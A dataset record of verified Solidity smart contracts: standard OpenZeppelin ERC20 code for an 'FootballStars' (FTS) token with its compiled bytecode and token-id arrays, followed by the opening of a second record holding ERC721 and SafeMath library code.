* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts\erc20.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () public {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract FTS is ERC20, Ownable {
constructor () ERC20("FootballStars", "FTS") public { // func param: Name, Symbol and Decimals
_mint(_msgSender(), 1000000000000 * (10 ** uint256(decimals()))); // func to create on account NUMBER token
}
} | 0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c578063a457c2d711610066578063a457c2d714610416578063a9059cbb1461047a578063dd62ed3e146104de578063f2fde38b14610556576100ea565b8063715018a6146103555780638da5cb5b1461035f57806395d89b4114610393576100ea565b806323b872dd116100c857806323b872dd146101f4578063313ce56714610278578063395093511461029957806370a08231146102fd576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d6575b600080fd5b6100f761059a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061063c565b60405180821515815260200191505060405180910390f35b6101de61065a565b6040518082815260200191505060405180910390f35b6102606004803603606081101561020a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610664565b60405180821515815260200191505060405180910390f35b610280610772565b604051808260ff16815260200191505060405180910390f35b6102e5600480360360408110156102af57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061077b565b60405180821515815260200191505060405180910390f35b61033f6004803603602081101561031357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061081e565b6040518082815260200191505060405180910390f35b61035d610866565b005b6103676109d6565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61039b610a00565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103db5780820151818401526020810190506103c0565b50505050905090810190601f1680156104085780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104626004803603604081101561042c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aa2565b60405180821515815260200191505060405180910390f35b6104c66004803603604081101561049057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba3565b60405180821515815260200191505060405180910390f35b610540600480360360408110156104f457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bc1565b6040518082815260200191505060405180910390f35b6105986004803603602081101561056c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c48565b005b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106325780601f1061060757610100808354040283529160200191610632565b820191906000526020600020905b81548152906001019060200180831161061557829003601f168201915b5050505050905090565b6000610650610649610e3d565b8484610e45565b6001905092915050565b6000600254905090565b600061067184848461103c565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106bc610e3d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610752576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806113826028913960400191505060405180910390fd5b6107668561075e610e3d565b858403610e45565b60019150509392505050565b60006012905090565b6000610814610788610e3d565b848460016000610796610e3d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401610e45565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61086e610e3d565b73ffffffffffffffffffffffffffffffffffffffff1661088c6109d6565b73ffffffffffffffffffffffffffffffffffffffff1614610915576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a985780601f10610a6d57610100808354040283529160200191610a98565b820191906000526020600020905b815481529060010190602001808311610a7b57829003601f168201915b5050505050905090565b60008060016000610ab1610e3d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610b84576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806113f36025913960400191505060405180910390fd5b610b98610b8f610e3d565b85858403610e45565b600191505092915050565b6000610bb7610bb0610e3d565b848461103c565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c50610e3d565b73ffffffffffffffffffffffffffffffffffffffff16610c6e6109d6565b73ffffffffffffffffffffffffffffffffffffffff1614610cf7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610d7d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806113146026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ecb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806113cf6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f51576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061133a6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806113aa6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611148576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806112f16023913960400191505060405180910390fd5b6111538383836112eb565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156111ef576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061135c6026913960400191505060405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212205dce5b2c2b630eb28087fef5e35e9da54e789294460f2ebe93ad6867771c3db564736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
22275,
2050,
23499,
2063,
2692,
2497,
2629,
2063,
2683,
2475,
2278,
2692,
2629,
4402,
12740,
2094,
2581,
2094,
2581,
2620,
2581,
2050,
20958,
2581,
27531,
2629,
11057,
2497,
2509,
2050,
2575,
2278,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
2260,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,484 | 0x953ac46bc80afb5d1837131156a03b348e24bdc3 | /**
*Submitted for verification at Etherscan.io on 2021-04-22
*/
// File: @openzeppelin/contracts/utils/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/introspection/IERC165.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Metadata.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// File: @openzeppelin/contracts/introspection/ERC165.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
